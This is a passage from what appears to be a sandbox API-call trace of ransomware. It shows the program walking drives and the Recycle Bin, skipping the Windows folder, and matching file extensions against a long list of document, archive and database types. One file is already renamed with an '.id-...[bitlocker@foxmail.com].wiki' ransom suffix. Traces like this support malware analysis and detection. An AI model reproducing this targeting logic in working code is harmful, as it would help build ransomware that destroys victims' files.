files\\common files\\microsoft shared\\themes14\\canyon\\canyon.inf")) returned 1 [0199.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.708] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.708] lstrlenW (lpString=".doc") returned 4 [0199.708] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0199.708] lstrlenW (lpString=".docx") returned 5 [0199.708] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0199.708] lstrlenW (lpString=".pdf") returned 4 [0199.709] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0199.709] lstrlenW (lpString=".xls") returned 4 [0199.709] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0199.709] lstrlenW (lpString=".xlsx") returned 5 [0199.709] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0199.709] lstrlenW (lpString=".ppt") returned 4 [0199.709] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0199.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.709] lstrlenW (lpString=".zip") returned 4 [0199.709] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0199.709] lstrlenW (lpString=".rar") returned 4 [0199.709] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0199.709] lstrlenW (lpString=".bz2") returned 4 [0199.709] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0199.709] lstrlenW (lpString=".7z") returned 3 [0199.709] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0199.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.709] lstrlenW (lpString=".dbf") returned 4 [0199.709] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0199.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.709] lstrlenW (lpString=".1cd") returned 4 [0199.709] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0199.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.709] lstrlenW (lpString=".jpg") returned 4 [0199.709] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0199.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.709] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.709] lstrlenW (lpString=".doc") returned 4 [0199.709] lstrcmpiW (lpString1=".doc", lpString2=".INF") returned -1 [0199.709] lstrlenW (lpString=".docx") returned 5 [0199.709] lstrcmpiW (lpString1=".docx", lpString2="N.INF") returned -1 [0199.710] lstrlenW (lpString=".pdf") returned 4 [0199.710] lstrcmpiW (lpString1=".pdf", lpString2=".INF") returned 1 [0199.710] lstrlenW (lpString=".xls") returned 4 [0199.710] lstrcmpiW (lpString1=".xls", lpString2=".INF") returned 1 [0199.710] lstrlenW (lpString=".xlsx") returned 5 [0199.710] lstrcmpiW (lpString1=".xlsx", lpString2="N.INF") returned -1 [0199.710] lstrlenW (lpString=".ppt") returned 4 [0199.710] lstrcmpiW (lpString1=".ppt", lpString2=".INF") returned 1 [0199.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.710] lstrlenW (lpString=".zip") returned 4 [0199.710] lstrcmpiW (lpString1=".zip", lpString2=".INF") returned 1 [0199.710] lstrlenW (lpString=".rar") returned 4 [0199.710] lstrcmpiW (lpString1=".rar", lpString2=".INF") returned 1 [0199.710] lstrlenW (lpString=".bz2") returned 4 [0199.710] lstrcmpiW (lpString1=".bz2", lpString2=".INF") returned -1 [0199.710] lstrlenW (lpString=".7z") returned 3 [0199.710] lstrcmpiW (lpString1=".7z", lpString2="INF") returned -1 [0199.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.710] lstrlenW (lpString=".dbf") returned 4 [0199.710] lstrcmpiW (lpString1=".dbf", lpString2=".INF") returned -1 [0199.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.710] lstrlenW (lpString=".1cd") returned 4 [0199.710] lstrcmpiW (lpString1=".1cd", lpString2=".INF") returned -1 [0199.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CANYON\\CANYON.INF") returned 73 [0199.710] lstrlenW (lpString=".jpg") returned 4 [0199.710] lstrcmpiW (lpString1=".jpg", lpString2=".INF") returned 1 [0199.710] lstrcmpiW (lpString1=".INF", lpString2=".wiki") returned -1 [0199.711] lstrlenW (lpString="CASCADE.INF") returned 11 [0199.711] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\CASCADE\\CASCADE.INF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\cascade\\cascade.inf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) Thread: id = 414 os_tid = 0x784 [0182.617] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3cd02c0 [0182.618] lstrlenW (lpString="C:") returned 2 [0182.618] FindFirstFileW (in: lpFileName="C:\\*", lpFindFileData=0x38cfd00 | out: lpFindFileData=0x38cfd00*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1002f, dwReserved1=0x0, cFileName="$Recycle.Bin", cAlternateFileName="")) returned 0x63b2e8 [0182.618] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0182.618] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin") returned 1 [0182.618] lstrlenW (lpString="$Recycle.Bin") returned 12 [0182.618] lstrcmpiW (lpString1="C:\\Windows", lpString2="$Recycle.Bin") returned 1 [0182.618] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3ce02c8 [0182.618] lstrlenW (lpString="C:\\$Recycle.Bin") returned 15 [0182.618] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\*", lpFindFileData=0x38cfa84 | out: lpFindFileData=0x38cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63b4a0 [0182.619] FindNextFileW (in: hFindFile=0x63b4a0, lpFindFileData=0x38cfa84 | out: lpFindFileData=0x38cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xd29f5adc, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2dfdd420, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2dfdd420, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.619] FindNextFileW (in: hFindFile=0x63b4a0, lpFindFileData=0x38cfa84 | out: lpFindFileData=0x38cfa84*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="S-1-5-21-3388679973-3930757225-3770151564-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0182.619] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0182.619] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 1 [0182.619] lstrlenW (lpString="S-1-5-21-3388679973-3930757225-3770151564-1000") returned 46 [0182.619] lstrcmpiW (lpString1="C:\\Windows", lpString2="S-1-5-21-3388679973-3930757225-3770151564-1000") returned -1 [0182.619] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4250048 [0182.619] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000") returned 62 [0182.619] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-3388679973-3930757225-3770151564-1000\\*", lpFindFileData=0x38cf808 | out: lpFindFileData=0x38cf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x63b4e0 [0182.620] FindNextFileW (in: hFindFile=0x63b4e0, lpFindFileData=0x38cf808 | out: lpFindFileData=0x38cf808*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x2dfdd420, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0182.620] FindNextFileW (in: hFindFile=0x63b4e0, lpFindFileData=0x38cf808 | out: lpFindFileData=0x38cf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc97745a0, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0xc97745a0, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0xc97745a0, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0182.620] lstrlenW (lpString="desktop.ini") returned 11 [0182.620] lstrlenW (lpString=".1cd") returned 4 [0182.620] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0182.620] lstrlenW (lpString=".3ds") returned 4 [0182.620] lstrcmpiW (lpString1=".3ds", lpString2=".ini") returned -1 [0182.620] lstrlenW (lpString=".3fr") returned 4 [0182.620] lstrcmpiW (lpString1=".3fr", lpString2=".ini") returned -1 [0182.620] lstrlenW (lpString=".3g2") returned 4 [0182.620] lstrcmpiW (lpString1=".3g2", lpString2=".ini") returned -1 [0182.620] lstrlenW (lpString=".3gp") returned 4 [0182.620] lstrcmpiW (lpString1=".3gp", lpString2=".ini") returned -1 [0182.620] lstrlenW (lpString=".7z") returned 3 [0182.620] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0182.620] lstrlenW (lpString=".accda") returned 6 [0182.620] lstrcmpiW (lpString1=".accda", lpString2="op.ini") returned -1 [0182.620] lstrlenW (lpString=".accdb") returned 6 [0182.620] lstrcmpiW (lpString1=".accdb", lpString2="op.ini") returned -1 [0182.620] lstrlenW (lpString=".accdc") returned 6 [0182.620] lstrcmpiW (lpString1=".accdc", lpString2="op.ini") returned -1 [0182.620] lstrlenW (lpString=".accde") returned 6 [0182.620] lstrcmpiW (lpString1=".accde", lpString2="op.ini") returned -1 [0182.620] lstrlenW (lpString=".accdt") returned 6 [0182.620] lstrcmpiW (lpString1=".accdt", lpString2="op.ini") returned -1 [0182.620] lstrlenW (lpString=".accdw") returned 6 [0182.620] lstrcmpiW (lpString1=".accdw", lpString2="op.ini") returned -1 [0182.620] lstrlenW (lpString=".adb") returned 4 [0182.621] lstrcmpiW (lpString1=".adb", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".adp") returned 4 [0182.621] lstrcmpiW (lpString1=".adp", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".ai") returned 3 [0182.621] lstrcmpiW (lpString1=".ai", lpString2="ini") returned -1 [0182.621] lstrlenW (lpString=".ai3") returned 4 [0182.621] lstrcmpiW (lpString1=".ai3", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".ai4") returned 4 [0182.621] lstrcmpiW (lpString1=".ai4", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".ai5") returned 4 [0182.621] lstrcmpiW (lpString1=".ai5", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".ai6") returned 4 [0182.621] lstrcmpiW (lpString1=".ai6", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".ai7") returned 4 [0182.621] lstrcmpiW (lpString1=".ai7", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".ai8") returned 4 [0182.621] lstrcmpiW (lpString1=".ai8", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".anim") returned 5 [0182.621] lstrcmpiW (lpString1=".anim", lpString2="p.ini") returned -1 [0182.621] lstrlenW (lpString=".arw") returned 4 [0182.621] lstrcmpiW (lpString1=".arw", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".as") returned 3 [0182.621] lstrcmpiW (lpString1=".as", lpString2="ini") returned -1 [0182.621] lstrlenW (lpString=".asa") returned 4 [0182.621] lstrcmpiW (lpString1=".asa", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".asc") returned 4 [0182.621] lstrcmpiW (lpString1=".asc", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".ascx") returned 5 [0182.621] lstrcmpiW (lpString1=".ascx", lpString2="p.ini") returned -1 [0182.621] lstrlenW (lpString=".asm") returned 4 [0182.621] lstrcmpiW (lpString1=".asm", lpString2=".ini") returned -1 [0182.621] lstrlenW (lpString=".asmx") returned 5 [0182.621] lstrcmpiW (lpString1=".asmx", lpString2="p.ini") returned -1 [0182.621] lstrlenW (lpString=".asp") returned 4 [0182.622] lstrcmpiW (lpString1=".asp", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".aspx") returned 5 [0182.622] lstrcmpiW (lpString1=".aspx", lpString2="p.ini") returned -1 [0182.622] lstrlenW (lpString=".asr") returned 4 [0182.622] lstrcmpiW (lpString1=".asr", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".asx") returned 4 [0182.622] lstrcmpiW (lpString1=".asx", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".avi") returned 4 [0182.622] lstrcmpiW (lpString1=".avi", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".avs") returned 4 [0182.622] lstrcmpiW (lpString1=".avs", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".backup") returned 7 [0182.622] lstrcmpiW (lpString1=".backup", lpString2="top.ini") returned -1 [0182.622] lstrlenW (lpString=".bak") returned 4 [0182.622] lstrcmpiW (lpString1=".bak", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".bay") returned 4 [0182.622] lstrcmpiW (lpString1=".bay", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".bd") returned 3 [0182.622] lstrcmpiW (lpString1=".bd", lpString2="ini") returned -1 [0182.622] lstrlenW (lpString=".bin") returned 4 [0182.622] lstrcmpiW (lpString1=".bin", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".bmp") returned 4 [0182.622] lstrcmpiW (lpString1=".bmp", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".bz2") returned 4 [0182.622] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".c") returned 2 [0182.622] lstrcmpiW (lpString1=".c", lpString2="ni") returned -1 [0182.622] lstrlenW (lpString=".cdr") returned 4 [0182.622] lstrcmpiW (lpString1=".cdr", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".cer") returned 4 [0182.622] lstrcmpiW (lpString1=".cer", lpString2=".ini") returned -1 [0182.622] lstrlenW (lpString=".cf") returned 3 [0182.622] lstrcmpiW (lpString1=".cf", lpString2="ini") returned -1 [0182.622] lstrlenW (lpString=".cfc") returned 4 [0182.622] lstrcmpiW (lpString1=".cfc", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".cfm") returned 4 [0182.623] lstrcmpiW (lpString1=".cfm", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".cfml") returned 5 [0182.623] lstrcmpiW (lpString1=".cfml", lpString2="p.ini") returned -1 [0182.623] lstrlenW (lpString=".cfu") returned 4 [0182.623] lstrcmpiW (lpString1=".cfu", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".chm") returned 4 [0182.623] lstrcmpiW (lpString1=".chm", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".cin") returned 4 [0182.623] lstrcmpiW (lpString1=".cin", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".class") returned 6 [0182.623] lstrcmpiW (lpString1=".class", lpString2="op.ini") returned -1 [0182.623] lstrlenW (lpString=".clx") returned 4 [0182.623] lstrcmpiW (lpString1=".clx", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".config") returned 7 [0182.623] lstrcmpiW (lpString1=".config", lpString2="top.ini") returned -1 [0182.623] lstrlenW (lpString=".cpp") returned 4 [0182.623] lstrcmpiW (lpString1=".cpp", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".cr2") returned 4 [0182.623] lstrcmpiW (lpString1=".cr2", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".crt") returned 4 [0182.623] lstrcmpiW (lpString1=".crt", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".crw") returned 4 [0182.623] lstrcmpiW (lpString1=".crw", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".cs") returned 3 [0182.623] lstrcmpiW (lpString1=".cs", lpString2="ini") returned -1 [0182.623] lstrlenW (lpString=".css") returned 4 [0182.623] lstrcmpiW (lpString1=".css", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".csv") returned 4 [0182.623] lstrcmpiW (lpString1=".csv", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".cub") returned 4 [0182.623] lstrcmpiW (lpString1=".cub", lpString2=".ini") returned -1 [0182.623] lstrlenW (lpString=".dae") returned 4 [0182.624] lstrcmpiW (lpString1=".dae", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dat") returned 4 [0182.624] lstrcmpiW (lpString1=".dat", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".db") returned 3 [0182.624] lstrcmpiW (lpString1=".db", lpString2="ini") returned -1 [0182.624] lstrlenW (lpString=".dbf") returned 4 [0182.624] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dbx") returned 4 [0182.624] lstrcmpiW (lpString1=".dbx", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dc3") returned 4 [0182.624] lstrcmpiW (lpString1=".dc3", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dcm") returned 4 [0182.624] lstrcmpiW (lpString1=".dcm", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dcr") returned 4 [0182.624] lstrcmpiW (lpString1=".dcr", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".der") returned 4 [0182.624] lstrcmpiW (lpString1=".der", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dib") returned 4 [0182.624] lstrcmpiW (lpString1=".dib", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dic") returned 4 [0182.624] lstrcmpiW (lpString1=".dic", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".dif") returned 4 [0182.624] lstrcmpiW (lpString1=".dif", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".divx") returned 5 [0182.624] lstrcmpiW (lpString1=".divx", lpString2="p.ini") returned -1 [0182.624] lstrlenW (lpString=".djvu") returned 5 [0182.624] lstrcmpiW (lpString1=".djvu", lpString2="p.ini") returned -1 [0182.624] lstrlenW (lpString=".dng") returned 4 [0182.624] lstrcmpiW (lpString1=".dng", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".doc") returned 4 [0182.624] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0182.624] lstrlenW (lpString=".docm") returned 5 [0182.624] lstrcmpiW (lpString1=".docm", lpString2="p.ini") returned -1 [0182.625] lstrlenW (lpString=".docx") returned 5 [0182.625] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0182.625] lstrlenW (lpString=".dot") returned 4 [0182.625] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".dotm") returned 5 [0182.625] lstrcmpiW (lpString1=".dotm", lpString2="p.ini") returned -1 [0182.625] lstrlenW (lpString=".dotx") returned 5 [0182.625] lstrcmpiW (lpString1=".dotx", lpString2="p.ini") returned -1 [0182.625] lstrlenW (lpString=".dpx") returned 4 [0182.625] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".dqy") returned 4 [0182.625] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".dsn") returned 4 [0182.625] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".dt") returned 3 [0182.625] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1 [0182.625] lstrlenW (lpString=".dtd") returned 4 [0182.625] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".dwg") returned 4 [0182.625] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".dwt") returned 4 [0182.625] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".dx") returned 3 [0182.625] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1 [0182.625] lstrlenW (lpString=".dxf") returned 4 [0182.625] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".edml") returned 5 [0182.625] lstrcmpiW (lpString1=".edml", lpString2="p.ini") returned -1 [0182.625] lstrlenW (lpString=".efd") returned 4 [0182.625] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".elf") returned 4 [0182.625] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".emf") returned 4 [0182.625] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1 [0182.625] lstrlenW (lpString=".emz") returned 4 [0182.626] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".epf") returned 4 [0182.626] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".eps") returned 4 [0182.626] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".epsf") returned 5 [0182.626] lstrcmpiW (lpString1=".epsf", lpString2="p.ini") returned -1 [0182.626] lstrlenW (lpString=".epsp") returned 5 [0182.626] lstrcmpiW (lpString1=".epsp", lpString2="p.ini") returned -1 [0182.626] lstrlenW (lpString=".erf") returned 4 [0182.626] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".exr") returned 4 [0182.626] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".f4v") returned 4 [0182.626] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".fido") returned 5 [0182.626] lstrcmpiW (lpString1=".fido", lpString2="p.ini") returned -1 [0182.626] lstrlenW (lpString=".flm") returned 4 [0182.626] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".flv") returned 4 [0182.626] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".frm") returned 4 [0182.626] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".fxg") returned 4 [0182.626] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".geo") returned 4 [0182.626] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".gif") returned 4 [0182.626] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".grs") returned 4 [0182.626] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1 [0182.626] lstrlenW (lpString=".gz") returned 3 [0182.626] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1 [0182.626] lstrlenW (lpString=".h") returned 2 [0182.626] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1 [0182.627] lstrlenW (lpString=".hdr") returned 4 [0182.627] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".hpp") returned 4 [0182.627] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".hta") returned 4 [0182.627] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".htc") returned 4 [0182.627] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".htm") returned 4 [0182.627] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".html") returned 5 [0182.627] lstrcmpiW (lpString1=".html", lpString2="p.ini") returned -1 [0182.627] lstrlenW (lpString=".icb") returned 4 [0182.627] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".ics") returned 4 [0182.627] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".iff") returned 4 [0182.627] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".inc") returned 4 [0182.627] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1 [0182.627] lstrlenW (lpString=".indd") returned 5 [0182.627] lstrcmpiW (lpString1=".indd", lpString2="p.ini") returned -1 [0182.627] lstrlenW (lpString=".ini") returned 4 [0182.627] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0 [0182.627] FindNextFileW (in: hFindFile=0x63b4e0, lpFindFileData=0x38cf808 | out: lpFindFileData=0x38cf808*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x9e3fe310, ftCreationTime.dwHighDateTime=0x1d595b2, ftLastAccessTime.dwLowDateTime=0x9e3fe310, ftLastAccessTime.dwHighDateTime=0x1d595b2, ftLastWriteTime.dwLowDateTime=0x9e424470, ftLastWriteTime.dwHighDateTime=0x1d595b2, nFileSizeHigh=0x0, nFileSizeLow=0x17a, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki", cAlternateFileName="DESKTO~1.WIK")) returned 1 [0182.627] lstrlenW (lpString="desktop.ini.id-9C354B42.[bitlocker@foxmail.com ].wiki") returned 53 [0182.627] lstrlenW (lpString=".1cd") returned 4 [0182.627] lstrcmpiW (lpString1=".1cd", lpString2="wiki") returned -1 [0182.627] lstrlenW (lpString=".3ds") returned 4 [0182.627] lstrcmpiW (lpString1=".3ds", lpString2="wiki") returned -1 [0182.627] lstrlenW (lpString=".3fr") returned 4 [0182.627] lstrcmpiW (lpString1=".3fr", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".3g2") returned 4 [0182.628] lstrcmpiW (lpString1=".3g2", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".3gp") returned 4 [0182.628] lstrcmpiW (lpString1=".3gp", lpString2="wiki") returned -1 [0182.628] lstrlenW (lpString=".7z") returned 3 [0182.628] lstrcmpiW (lpString1=".7z", lpString2="iki") returned -1 [0182.628] lstrlenW (lpString=".accda") returned 6 [0182.628] lstrcmpiW (lpString1=".accda", lpString2="].wiki") returned -1 [0182.628] lstrlenW 